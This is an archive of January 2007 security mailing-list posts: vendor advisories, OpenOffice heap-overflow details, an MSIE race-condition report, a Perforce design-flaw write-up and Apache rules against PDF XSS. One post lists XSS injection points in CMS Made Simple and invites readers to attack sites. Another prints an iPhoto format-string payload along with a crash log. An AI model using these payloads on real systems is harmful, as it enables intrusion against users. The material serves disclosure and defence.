Re: [VulnWatch] High Risk Vulnerability in the OpenOffice and StarOffice Suites

[Pete Connolly]

On Thursday 04 January 2007 21:00, David Litchfield wrote:
> Hi Florian,
>
> >* NGSSoftware Insight Security Research:
> >> The vulnerabilities, three heap overflows, affect OpenOffice 2.1.0 and
> >>
> >> http://download.openoffice.org/2.1.0/index.html
> >
> > As far as I can tell, there is no version newer than 2.1.0 available
> > at the web site.  According to uncorroborated, version 2.1.0 is not
> > affected.
> >
> > Would anyone please clarify the situation?  Thanks.
>
> It's version's prior to 2.1.0. Thanks for pointing this out. I'll send a
> follow up note.
> Cheers,
> David Litchfield
>

According to Marcus Meissner from SuSE security, opensuse 10.2 contains an OOo 
2.0.4 with the security fix backported from 2.1.

Just to add to the fun.

Cheers

Pete

RE: [Full-disclosure] Concurrency strikes MSIE (p otentially exploitablemsxml3 flaws)

[Michal Zalewski]

On Thu, 4 Jan 2007, Larry Seltzer wrote:

> I hope you're still not angry!

It took months of therapy, but I recovered ;)

> I just tried your demo on IE7. It took a while longer but does seem to
> have locked up. Were you looking at IE6 or IE7, and is the behavior any
> different?

I tested several installations of IE6, but I wouldn't expect there to be
differences (the flaw directly affects a XML rendering library that is
probably identical for both versions).

/mz

CMS Made Simple non-permanent XSS

[nanoymaster]

# /||` \ | || \` / ||\ # 
#/ || |\\| ||` \/` || \#  
#\ || | \` || |\/| || /# 
# \||_|` \_||_|` |_||/ #
# http://www.nanoy.org #


Hacker.: NanoyMaster
CMS: CMS Made Simple
Version: 1.0.2

[exploits--]
1) Search XSS (non-permanent)
2) preview XSS (non-permanent)
3) Admin login XSS (non-permanent)
4) Outro

[[NM]--]
[---1.Search XSS---]
XSS in search eg:
http:index.php?mact=Search%2Ccntnt01%2Cdosearch%2C0&cntnt01returnid=15&cntnt01searchinput=&cntnt01submit=Submit

Patch: modules\Search\action.dosearch.php
Add the following to line 3:
$params['searchinput'] = htmlentities($params['searchinput']);

[[NM]--]
[--2.Preview XSS---]
XSS in Preview eg:
http:preview.php?tmpfile=

Patch: preview.php
add the following to line 38:
$page = htmlentities($page);

[[NM]--]
[3.Admin Login XSS-]
Type in username:
">
then submit
(make your own post form for more than 15 chars)

Patch: http:admin/themes//login.php
Add the following near the top:


[[NM]--]
[--0.Outro-]
Well I hope you liked this whitepaper
Have fun screwing with sites that use this package
(Or patching your sites!)
Sorry only 2 holes were added, I'll try harder next time ;)
Check out my site: http://www.nanoy.org
theres a few challs etc.

peace (^_^)___\/m
[[NM]--]

Re: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[rudeyak]

YMMV, but in our own testing of server-side defenses for Apache, we had to 
resort to the following to extract the anchor information:

# mod_rewrite defense
RewriteCond %{THE_REQUEST} .*\.pdf[^A-Za-z0-9._?&%-]
RewriteRule (.*\.(pdf)) $1 [R,L]

# mod_security defense 
SecRule REQUEST_URI_RAW: ".*\.pdf[^A-Za-z0-9._?&%-]" \
"deny,log,status:502,id:951004,severity:2,msg:'DOM attack on static 
content'"

In the case of mod_rewrite, I had to use THE_REQUEST, which captures the entire 
1st line of an HTTP request, not just the URI (hence capturing the anchor); in 
the case of mod_security, I think I just got lucky, I can't explain why 
REQUEST_URI_RAW worked while REQUEST_URI did not.  This was tested with Apache 
2.0.59 and modsecurity-apache_2.0.4.

SAP Security

[Mark Litchfield]

I note from http://www.sap.com/solutions/security/index.epx -
"In addition, SAP follows a thorough security response process, which will 
soon include a security bulletin to keep SAP customers up-to-date as new 
security threats and vulnerabilities are uncovered and addressed"

Guess they are still working on it.

Perforce client: security hole by design

[Ben Bucksch]

= Abstract =

The Perforce client has a huge gapping security hole by design. It 
totally trusts the Perforce server and does whatever the server tells 
it, writing arbitrary files.


= Disclaimer =

This is so terribly obvious that I'd be surprised that this is news, but 
I couldn't find anything. Or I'm missing something.


= Problem =

The Perforce server stores a "client config", which contains the local 
pathnames on the *client* machine (the machine fetching source). Of 
course, that information on the server can change any time. The problem 
is: the Perforce client adheres to it without a second thought. That 
means the p4 server can tell the p4 client to overwrite my ~/.bashrc, 
and *it will just do it*.


In fact, the client cannot even do "p4 help" on its own, even that comes 
from the server. Apparently, there is a very fundamental design problem 
of overly relying on the server, nor checking its input, there are 
probably more bugs of this kind. I am completely new to Perforce, so the 
"p4 sync" problem described above may well not be the only one.


= Reproduction =

 1. Let your Perforce admin set up your client workspace, and in it
"/tmp/foo/" as local directory name.
 2. Get the Linux commandline client from perforce.com
 3. Do
cd /usr/src/
P4CLIENT=your-client-workspace-name P4PORT=servername:port p4 sync
 4. p4 will write files to /tmp/foo/ instead of /usr/src/.


= Risk =

Critical. The server has full access to *all* files that *any* of its 
users has.


"We can trust the server" is not an appropriate answer:

  * I am a contractor and have access to many companies' sources, and
I do *not* allow any company I work for to have full access to all
files on my computer, including the source of the all other
companies I work for and even personal files.
  * Also, there are many ways to fool DNS, so that your client goes to
another, hostile server.
  * And, lastly, a server is not 100% bulletproof either.


= Versions affected =

Probably all affected.

= Vendor notification =

Vendor has not been given secret advance notification, due to the nature 
of the bug.


= Proposed fix =

The problem at hand could be easily fixed by letting the client check 
out only in the current directory (or one specified by the user on the 
commandline or GUI, preferences stored locally), no matter what the 
server says. It may put files anywhere underneath that directory, but 
never higher or otherwise outside. It must never adhere to absolute 
paths from the server. This does require some changes to how client 
specs work, though.


But to believe that this would fix the client would be naive. The nature 
of the bug, that this is a design problem, and a terribly obvious one at 
that, points to a very serious attitude problem, that there's no 
consideration for security at all (when it comes to client vs. server). 
This usually reflects in many places in the design and code and is often 
very hard or impossible to remove, because this often results in 
hundreds or thousands of security holes. I've seen code with critical 
security holes on every third line, for similar reasons. Thus, the only 
way that Perforce could reassure the security of the client vs. server 
would be to make the client source open for review (preferably as Open 
Source) and make the protocol available for everybody to implement their 
own clients.



Ben Bucksch
http://www.bucksch.org
Emails please to [EMAIL PROTECTED], sorry for the inconvenience



Update from Full-Disclosure:

Examples of problematic cases:

  * remote contractors like me with their own machine who work for
many companies and don't feel like having 20 boxen, on separate
networks.
  * I've seen quite some startup companies who actually required their
employees to bring their own computers, because the company didn't
have money yet. Neither had the employees. What about their
personal data?
  * As far as I can see, the FreeBSD project uses Perforce for some
project parts [1],[2]. I'm quite sure they don't hand out
computers to all relevant committers. In fact, that Perforce
server is running against the Internet
(perforce.freebsd.org:1666), so anybody cracking that machine
might break into developers' machines. And, worst case, go on from
there.
  * There are public Perforce servers for anonymous access. That's
comparable with public FTP or HTTP servers. Surely you'd be upset,
if a random FTP server would have access to your files just
because you downloaded something.

[USN-398-3] Firefox theme regression

[Kees Cook]

=== 
Ubuntu Security Notice USN-398-3   January 04, 2007
firefox-themes-ubuntu regression
https://launchpad.net/bugs/76871
===

A security issue affects the following Ubuntu releases:

Ubuntu 6.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.10:
  firefox-themes-ubuntu0.5.4.1~6.10

After a standard system upgrade you need to restart Firefox to effect 
the necessary changes.

Details follow:

USN-398-1 fixed vulnerabilities in Firefox.  Due to the updated version, 
a flaw was uncovered in the Firefox Themes bundle, which erroneously 
reported to be incompatible with the updated Firefox.  This update fixes 
the problem.

We apologize for the inconvenience.


Updated packages for Ubuntu 6.10:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/f/firefox-themes-ubuntu/firefox-themes-ubuntu_0.5.4.1~6.10.dsc
  Size/MD5:  686 b3ee34c6ef4af852f2418db6694a891a

http://security.ubuntu.com/ubuntu/pool/main/f/firefox-themes-ubuntu/firefox-themes-ubuntu_0.5.4.1~6.10.tar.gz
  Size/MD5:   187370 11706b8b8fd00c59973ed1497ce8dabe

  Architecture independent packages:


http://security.ubuntu.com/ubuntu/pool/main/f/firefox-themes-ubuntu/firefox-themes-ubuntu_0.5.4.1~6.10_all.deb
  Size/MD5:  1917682 37795bf1756250a0c4d22d41c248022b



signature.asc
Description: Digital signature

RE: Universal PDF XSS After Party(posible solution)

[Noe Espinoza M.]

We need to force to the users do download  the pdf files

And we can add to the httpd.conf or .htaccess the next code

SetEnvIf Request_URI "\.pdf$" requested_pdf=pdf
Header add Content-Disposition "Attachment" env=requested_pdf


Other solution is protect our pdf files to external links (hotlinking)

Add in .htacces

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://([-a-z0-9]+\.)?example\.com[NC]
RewriteRule .*\.(pdf)$ http://www.example.com/images/noexternal.gif [R,NC,L]


Source from
http://seguinfo.blogspot.com/2007/01/hacking-con-browser-plugins.html



-Mensaje original-
De: pdp (architect) [mailto:[EMAIL PROTECTED] 
Enviado el: jueves, 04 de enero de 2007 7:17
Para: full-disclosure@lists.grok.org.uk; bugtraq@securityfocus.com; Web
Security
Asunto: Universal PDF XSS After Party

Everybody knows about it. Everybody talks about it. We had a nice
party. It is time for estimating the damages. In this article I will
try to show the impact of the Universal PDF XSS vulnerability by
explaining how it can be used in real life situations.

http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/

-- 
pdp (architect) | petko d. petkov
http://www.gnucitizen.org

RE: [Full-disclosure] Concurrency strikes MSIE (p otentially exploitablemsxml3 flaws)

[Larry Seltzer]

I hope you're still not angry! 

I just tried your demo on IE7. It took a while longer but does seem to
have locked up. Were you looking at IE6 or IE7, and is the behavior any
different?

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.eweek.com/blogs/larry%5Fseltzer/
Contributing Editor, PC Magazine
[EMAIL PROTECTED] 

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Michal
Zalewski
Sent: Thursday, January 04, 2007 5:22 PM
To: bugtraq@securityfocus.com
Cc: full-disclosure@lists.grok.org.uk
Subject: [Full-disclosure] Concurrency strikes MSIE (potentially
exploitablemsxml3 flaws)

A while ago, apparently angry with Larry Seltzer, I penned a quick
write-up on the possible issues with race conditions triggered by
asynchronous browser events (such as JavaScript timers) colliding with
synchronous content rendering:

  http://seclists.org/vulnwatch/2006/q3/0023.html

This is in principle similar to signal handling bugs. I gave an example
of a seemingly exploitable flaw in Firefox (see MFSA2006-59 report for
more details), but did mention that other browsers are unlikely to be
immune.

Today, inspired by Brian Krebs' report on MSIE's stellar track of
security response that we all owe to responsible disclosure, I thought
it would be a brilliant idea to test MSIE for the same class of problems
(they had half a year to take notice of my original rant).

Hey, and - no peeking! - guess what happened?

A quick demonstration of how MSIE succumbs to such problems would be to
prepare an XML file that contains a bunch of nested tags (10-1000 is
fine), then display it in IFRAME, repeatedly disrupting the rendering
process with a Javascript timer that forces the frame to be reloaded
every 50-100 miliseconds or so.

After just a couple reloads, MSIE will freeze, then crash in a random
manner in the vicinity of msxml3 module. I observed seemingly harmless
NULL pointer dereferences, writes to bogus addresses, reads from
unallocated memory, and various other signs of memory corruption typical
of such race conditions. The exact mode of crash depends on precise
timing and the contents of browser memory (previously / concurrently
displayed pages, contents of the rest of the document), but this is
obviously well within the control of a determined attacker.

As such, it is my guess that although (as with all race conditions) this
would be fairly hard to exploit remotely in a reliable way, it is within
the realm of possibility.

A quick "vanilla" but reasonably reliable demo that will probably freeze
then crash your browser on a NULL pointer dereference (or sometimes a
mangled target pointer on REP MOVSW or something along these lines, if
you came there from some other website) can be found at:

  http://lcamtuf.coredump.cx/iediex/iediex.html

...try using the 'genie.sh' utility provided in the same directory to
generate more elaborate test cases that, combined with additional
contents of the pages will likely trigger more interesting memory
corruption scenarios.

/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: a cheesy Apache / IIS DoS vuln (+a question)

[Michal Zalewski]

On Thu, 4 Jan 2007, Michal Zalewski wrote:

> On Thu, 4 Jan 2007, William A. Rowe, Jr. wrote:
>
>   2) Theoretical window size limits and commonly implemented settings do
>  have a side effect of making such attacks more feasible for
>  attackers with a very limited bandwidth available. There's probably
>  not that much difference between a 10 MB and a 1 GB window size,
>  anyway: the attacker can establish a dial-up connection to ISP A,
>  initiate a series of 5000x requests with 10 MB window size, then
>  reconnect to ISP B, and continue to slowly and calmly spoof ACKs
>  as coming from his previous IP to the attacked server (he knows
>  all the sequence numbers). It would take 40 bytes to generate next
>  10 MB of traffic within an established connection, so it still
>  sounds like fun for a guy who has a 4 kB/s link. And that's why I
>  asked whether there was any research done on such issues.

A kind reader pointed me off the list to this excellent paper that happens
to explore this vector in more detail (making the "Range" behavior more of
an issue for certain senders):

  Misbehaving TCP Receivers Can Cause Internet-Wide Congestion Collapse
  Rob Sherwood, Bobby Bhattacharjee, Ryan Braud
  Published in Computer and Communications Security (CCS) 2005
  http://www.cs.umd.edu/~capveg/optack/optack-ccs05.pdf

Cheers,
/mz

DMA[2007-0104a] - 'iLife iPhoto Photocasing Format String Vulnerability'

[K F (lists)]

DMA[2007-0104a] - 'iLife iPhoto Photocasing Format String Vulnerability'
Author: Kevin Finisterre
Vendor(s): http://www.apple.com
Product: 'iLife 06 (?)'
References: 
http://www.digitalmunition.com/DMA[2007-0104a].txt
http://www.apple.com/ilife/iphoto/features/photocasting.html
http://projects.info-pull.com/moab/MOAB-04-01-2007.html

Description:
Rebuilt for blazing performance, iPhoto makes sharing photos faster, simpler, 
and cooler than 
ever before. It adds eye-opening features to the ones you already love, 
including Photocasting, 
support for up to 250,000 photos, easy publishing to the web, special effects, 
and new custom 
cards and calendars. In essence iPhoto lets you spread smiles far and wide.

As easily as you can create a new photo album you can share it with friends and 
family thousands 
of miles away. A new feature in iPhoto 6, Photocasting allows .Mac members to 
share albums with 
anyone, anywhere. Say you have new photos of little Johny Pwnerseed. Place the 
photos you'd like 
to share in an album called "Johny Pwnerseed's Latest Pics.", then click 
"Photocast this Album". 
iPhoto publishes the album, and others can subscribe to it by clicking a link 
in an email you 
send.

But here's where the real fun begins. If you create a malformed XML file you 
can simulate the 
photocasting functionality in iPhoto 6 and use it to trigger a format string 
vulnerability. Once 
Aunt Sophia subscribes, the fake photos feed is automatically download into a 
"Johny Pwnerseed's 
Latest Pics" album that instantly triggers a format string write via %n. 

We're talking beautiful, full-res pwnage. Aunt Sophia is pretty much screwed if 
you are able to 
properly format your payload. 


http://www.apple.com/ilife/wallpapers";>

%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n.%n.%n.%n.%n.%n

Welcome to Pwndertino!
http://www.digitalmunition.com/digital_munitions_detonator.jpg





Host Name:  Aunt-Sophias-computer
Date/Time:  2006-12-04 19:52:51.035 -0500
OS Version: 10.4.8 (Build 8L2127)
Report Version: 4

Command: iPhoto
Path:/Applications/iPhoto.app/Contents/MacOS/iPhoto
Parent:  WindowServer [83]

Version:6.0.5 (6.0.5)
Build Version:  2
Project Name:   iPhotoProject
Source Version: 316

PID:438
Thread: 0

Exception:  EXC_BAD_ACCESS (0x0001)
Codes:  KERN_PROTECTION_FAILURE (0x0002) at 0x00389ddc

Thread 0 Crashed:
0   libSystem.B.dylib   0x9000c0c1 __vfprintf + 4976
1   libSystem.B.dylib   0x90100ea9 snprintf_l + 504
2   com.apple.CoreFoundation0x908119d5 _CFStringAppendFormatAndArgumentsAux 
+ 4018
3   com.apple.CoreFoundation0x9081091c 
_CFStringCreateWithFormatAndArgumentsAux + 122
4   com.apple.Foundation0x925daa5d -[NSPlaceholderString 
initWithFormat:locale:arguments:] + 162
5   com.apple.Foundation0x92678e6c +[NSString 
localizedStringWithFormat:] + 129
6   com.apple.iPhoto0x0002ae3a 0x1000 + 171578
7   com.apple.iPhoto0x0031298f 0x1000 + 3217807

Workaround:
Unregister the iphoto:// URL handler with RCDefaultsApp

Check out Landon's website... he has been on the ball the last few days. 
http://landonf.bikemonkey.org/

He has also set aside a google group for MOAB issues. 
http://groups-beta.google.com/group/moabfixes?hl=en

http://www.apple.com/support/security/
http://docs.info.apple.com/article.html?artnum=61798

Concurrency strikes MSIE (potentially exploitable msxml3 flaws)

[Michal Zalewski]

A while ago, apparently angry with Larry Seltzer, I penned a quick
write-up on the possible issues with race conditions triggered by
asynchronous browser events (such as JavaScript timers) colliding with
synchronous content rendering:

  http://seclists.org/vulnwatch/2006/q3/0023.html

This is in principle similar to signal handling bugs. I gave an example of
a seemingly exploitable flaw in Firefox (see MFSA2006-59 report for more
details), but did mention that other browsers are unlikely to be immune.

Today, inspired by Brian Krebs' report on MSIE's stellar track of security
response that we all owe to responsible disclosure, I thought it would be
a brilliant idea to test MSIE for the same class of problems (they had
half a year to take notice of my original rant).

Hey, and - no peeking! - guess what happened?

A quick demonstration of how MSIE succumbs to such problems would be to
prepare an XML file that contains a bunch of nested tags (10-1000 is
fine), then display it in IFRAME, repeatedly disrupting the rendering
process with a Javascript timer that forces the frame to be reloaded every
50-100 miliseconds or so.

After just a couple reloads, MSIE will freeze, then crash in a random
manner in the vicinity of msxml3 module. I observed seemingly harmless
NULL pointer dereferences, writes to bogus addresses, reads from
unallocated memory, and various other signs of memory corruption typical
of such race conditions. The exact mode of crash depends on precise timing
and the contents of browser memory (previously / concurrently displayed
pages, contents of the rest of the document), but this is obviously well
within the control of a determined attacker.

As such, it is my guess that although (as with all race conditions) this
would be fairly hard to exploit remotely in a reliable way, it is within
the realm of possibility.

A quick "vanilla" but reasonably reliable demo that will probably freeze
then crash your browser on a NULL pointer dereference (or sometimes a
mangled target pointer on REP MOVSW or something along these lines, if you
came there from some other website) can be found at:

  http://lcamtuf.coredump.cx/iediex/iediex.html

...try using the 'genie.sh' utility provided in the same directory to
generate more elaborate test cases that, combined with additional contents
of the pages will likely trigger more interesting memory corruption
scenarios.

/mz

RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[Martin O'Neal]

I've had a better look at this now, and there seems to be a generic
server side solution through the content-disposition header (at least
for the versions of Firefox and IE which I have tested).  If it is
specified, the default installs of both products always produce a
download dialog and don't open inline.

Sample apache config for mitigation:


  
Header append Content-disposition "attachment;"
  


Martin...


--
CONFIDENTIALITY:  This e-mail and any files transmitted with it are
confidential and intended solely for the use of the recipient(s) only.
Any review, retransmission, dissemination or other use of, or taking
any action in reliance upon this information by persons or entities
other than the intended recipient(s) is prohibited.  If you have
received this e-mail in error please notify the sender immediately
and destroy the material whether stored on a computer or otherwise.
--
DISCLAIMER:  Any views or opinions presented within this e-mail are
solely those of the author and do not necessarily represent those
of Corsaire Limited, unless otherwise specifically stated.
--
Corsaire Limited, 3 Tannery House, Tannery Lane, Send, Surrey, GU23 7EF
Telephone: +44(0)1483-226000  Email:[EMAIL PROTECTED]

High Risk Vulnerability in the OpenOffice and StarOffice Suites

[NGSSoftware Insight Security Research]

John Heasman of NGSSoftware has discovered several high risk vulnerabilities
in the handling of WMF and EMF graphics formats within the OpenOffice
StarOffice suite.

The vulnerabilities, three heap overflows, affect OpenOffice 2.1.0 and
StarOffice 6, 7 and 8. If an attacker can coax a user into opening a
specially crafted document then the attacker can execute arbitrary code in
the security context of their victim.

Details
***
1) From svtools\source\filter.vcl\wmf\winwmf.cxx

case W_META_ESCAPE :
...
sal_uInt32 i, nStringLen, nDXCount;
...
aMemoryStream >> aPt.X()
  >> aPt.Y()
  >> nStringLen;

sal_Unicode* pBuf = aString.AllocBuffer( (sal_uInt16)nStringLen );
for ( i = 0; i < nStringLen; i++ )
aMemoryStream >> pBuf[ i ];

nStringLen is a sal_uInt32; it is cast to a sal_uInt16 for the allocation
then the original 32 bit value is used as a count to fill the buffer, thus
any length greater than 0x results in a heap overflow. Code execution is
possible via a function pointer overwrite or arbitrary DWORD overwrite if
the user opens a malicious WMF, or a container document (such as a Microsoft
Word document) in which it is embedded.

2) From svtools\source\filter.vcl\wmf\enhwmf.cxx

case EMR_POLYPOLYGON :

INT32 i, nPoly, nGesPoints;
...
*pWMF >> nPoly >> nGesPoints;
...
pPtAry  = (Point*) new char[ nGesPoints * sizeof(Point) ];

for ( i = 0; i < nGesPoints; i++ )
{
*pWMF >> nX32 >> nY32;
 pPtAry[ i ] = Point( nX32, nY32 );
}

nGesPoints * sizeof(Point) will result in an integer wrap if nGesPoints is >
(0x1 / sizeof(Point)).

Code execution is possible via a function pointer overwrite.

3)  As above but for EMR_POLYPOLYGON16 record.


Solution


These issues have now been resolved; OpenOffice and StarOffice users are
strongly recommended to install the relevant patch, available from the
OpenOffice and SunSolve websites:

http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/xprod-StarOffice=
http://download.openoffice.org/2.1.0/index.html

NGSSoftware Insight Security Research
http://www.ngssoftware.com
http://www.databasesecurity.com/
http://www.nextgenss.com/
+44(0)208 401 0070







--
E-MAIL DISCLAIMER

The information contained in this email and any subsequent
correspondence is private, is solely for the intended recipient(s) and
may contain confidential or privileged information. For those other than
the intended recipient(s), any disclosure, copying, distribution, or any
other action taken, or omitted to be taken, in reliance on such
information is prohibited and may be unlawful. If you are not the
intended recipient and have received this message in error, please
inform the sender and delete this mail and any attachments.

The views expressed in this email do not necessarily reflect NGS policy.
NGS accepts no liability or responsibility for any onward transmission
or use of emails and attachments having left the NGS domain.

NGS and NGSSoftware are trading names of Next Generation Security
Software Ltd. Registered office address: 52 Throwley Way, Sutton, SM1
4BF with Company Number 04225835 and VAT Number 783096402

RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[RSnake]

That's correct.  In doing some quick tests you can mitigate this if you
take the URL (let's say http://site.com/file.pdf) and 301 them to the
same file with an empty anchor tag:  http://site.com/file.pdf#

Of course that would cause an infinite loop since the empty anchor tag
is not visible to the webserver so the unique token is still required.

-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/

On Thu, 4 Jan 2007, Billy Hoffman wrote:


You cannot filter this URLs, because a URL fragment denotes something
inside of a resource. The server doesn't care what the fragment it. The
HTTP request sent when you click on a URL with a fragment doesn't
contain the fragment at all. This means a site cannot even implement a
web application firewall or IDS rule to not serve a PDF. They can't tell
the different between a PDF requested for legitimate reasons or a PDF
requested as part of an attack.



Short of removing all PDF's from a website, that site cannot ensure they
are acting as an accomplice to exploit a user.



Fun times,

Billy Hoffman

--

Lead Researcher, SPI Labs

SPI Dynamics Inc. - http://www.spidynamics.com


Phone:  678-781-4800

Direct:   678-781-4845



From: skarvin [mailto:[EMAIL PROTECTED]
Sent: Thursday, January 04, 2007 4:04 AM
To: bugtraq@securityfocus.com; [EMAIL PROTECTED]
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly
dangerous



Hi all,

Another possible solution is to use the Apache mod_security to filter
that kind of urls.

bye

2007/1/4, pdp (architect) < [EMAIL PROTECTED]
 >:

ahhh, fragment identifiers make sense to browsers only. they are not
send to the server

On 1/4/07, der wert <[EMAIL PROTECTED]> wrote:


The best solution I see would be to keep all pdf files in a non-web
accessible location on the web server, then have all the pdf files

outputed

through a script such as a php script. In php you can check the what

the

REQUEST_URI is, if it isn't equal to what you were expecting which

would

mean extra parameters were taken away or added then you could just

have the

php script not output the pdf file since that would mean someone had

been

tampering with the URI.

D


Get free, personalized online radio with MSN Radio powered by Pandora.

Try

it!



--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org



The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/

The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]




--
Un saludo,

This message was written entirely with recycled electrons.

blog: http://skarvin.blogspot.com
main(){int j=1234;char t[]=":@abcdefghijklmnopqrstuvwxyz.\n",*i=
"iqgbgxmsuspcpdofeqgbnek.";char *strchr(const char *,int);while(
*i){j+=strchr(t,*i++)-t;j%=sizeof t-1;putchar(t[j]);} return 0;}

skarvin

Re: [VulnWatch] High Risk Vulnerability in the OpenOffice and StarOffice Suites

[David Litchfield]

Hi Florian,


* NGSSoftware Insight Security Research:


The vulnerabilities, three heap overflows, affect OpenOffice 2.1.0 and



http://download.openoffice.org/2.1.0/index.html


As far as I can tell, there is no version newer than 2.1.0 available
at the web site.  According to uncorroborated, version 2.1.0 is not
affected.

Would anyone please clarify the situation?  Thanks.


It's version's prior to 2.1.0. Thanks for pointing this out. I'll send a 
follow up note.

Cheers,
David Litchfield 


--
E-MAIL DISCLAIMER

The information contained in this email and any subsequent
correspondence is private, is solely for the intended recipient(s) and
may contain confidential or privileged information. For those other than
the intended recipient(s), any disclosure, copying, distribution, or any
other action taken, or omitted to be taken, in reliance on such
information is prohibited and may be unlawful. If you are not the
intended recipient and have received this message in error, please
inform the sender and delete this mail and any attachments.

The views expressed in this email do not necessarily reflect NGS policy.
NGS accepts no liability or responsibility for any onward transmission
or use of emails and attachments having left the NGS domain.

NGS and NGSSoftware are trading names of Next Generation Security
Software Ltd. Registered office address: 52 Throwley Way, Sutton, SM1
4BF with Company Number 04225835 and VAT Number 783096402

Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[Rude Yak]

RSnake wrote: 
> No, that is incorrect.  This is not visible by the application because
> achor tags are not sent to the webserver.  This is completely invisible
> to web application firewalls.  Btw, a user on http://sla.ckers.org/ made
> this recommendation for fixing your own browsers:
> 
> Firefox->Tools->Options->Content->Manage->change PDF action to "Save to
> disk".

YMMV, but for Apache-based servers, one of the two methods below -may- do the
trick (no guarantees that it won't break your app in the process):

# mod_rewrite prevention vs. DOM attacks on static content
RewriteCond %{THE_REQUEST} .*\.(img|jpg|pdf|css|js)[^A-Za-z0-9._?&%-]
RewriteRule (.*\.(img|pdf|cgi|jpg)) $1 [R,L]

# mod_security 2.0 prevention vs. DOM attacks on static content
SecRule REQUEST_URI_RAW: ".*\.(img|jpg|pdf|css|js)[^A-Za-z0-9._?&%-]" \
"deny,log,status:501,id:955001,severity:2,msg:'DOM attack on static
content'"

Erick.

Re: [VulnWatch] High Risk Vulnerability in the OpenOffice and StarOffice Suites

[Florian Weimer]

* NGSSoftware Insight Security Research:

> The vulnerabilities, three heap overflows, affect OpenOffice 2.1.0 and

> http://download.openoffice.org/2.1.0/index.html

As far as I can tell, there is no version newer than 2.1.0 available
at the web site.  According to uncorroborated, version 2.1.0 is not
affected.

Would anyone please clarify the situation?  Thanks.

[ GLSA 200701-03 ] Mozilla Thunderbird: Multiple vulnerabilities

[Raphael Marichez]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200701-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
 Title: Mozilla Thunderbird: Multiple vulnerabilities
  Date: January 04, 2007
  Bugs: #158571
ID: 200701-03

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


Multiple vulnerabilities have been reported in Mozilla Thunderbird,
some of which may allow the remote execution of arbitrary code.

Background
==

Mozilla Thunderbird is a popular open-source email client from the
Mozilla Project.

Affected packages
=

---
 Package  /  Vulnerable  /  Unaffected
---
  1  mozilla-thunderbird  < 1.5.0.9 >= 1.5.0.9
  2  mozilla-thunderbird-bin  < 1.5.0.9 >= 1.5.0.9
---
 2 affected packages on all of their supported architectures.
---

Description
===

Georgi Guninski and David Bienvenu discovered buffer overflows in the
processing of long "Content-Type:" and long non-ASCII MIME headers.
Additionally, Frederik Reiss discovered a heap-based buffer overflow in
the conversion of a CSS cursor. Different vulnerabilities involving
memory corruption in the browser engine were also fixed. Mozilla
Thunderbird also contains less severe vulnerabilities involving
JavaScript and Java.

Impact
==

An attacker could entice a user to view a specially crafted email that
will trigger one of these vulnerabilities, possibly leading to the
execution of arbitrary code. An attacker could also perform cross-site
scripting attacks, leading to the exposure of sensitive information,
like user credentials. Note that the execution of JavaScript or Java
applets is disabled by default and enabling it is strongly discouraged.

Workaround
==

There are no known workarounds for all the issues at this time.

Resolution
==

All Mozilla Thunderbird users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose 
">=mail-client/mozilla-thunderbird-1.5.0.9"

All Mozilla Thunderbird binary release users should upgrade to the
latest version:

# emerge --sync
# emerge --ask --oneshot --verbose 
">=mail-client/mozilla-thunderbird-bin-1.5.0.9"

References
==

  [ 1 ] CVE-2006-6497
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6497
  [ 2 ] CVE-2006-6500
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6500
  [ 3 ] CVE-2006-6501
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6501
  [ 4 ] CVE-2006-6502
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6502
  [ 5 ] CVE-2006-6503
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6503
  [ 6 ] CVE-2006-6505
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6505

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200701-03.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2007 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


pgpwoi5AKTdFG.pgp
Description: PGP signature

Correction (High Risk Vulnerability in the OpenOffice and StarOffice Suites)

[NGSSoftware Insight Security Research]

Only versions prior to OpenOffice 2.1.0 are vulnerable to the heap overflows 
found by John.

Cheers,
David Litchfield

--
E-MAIL DISCLAIMER

The information contained in this email and any subsequent
correspondence is private, is solely for the intended recipient(s) and
may contain confidential or privileged information. For those other than
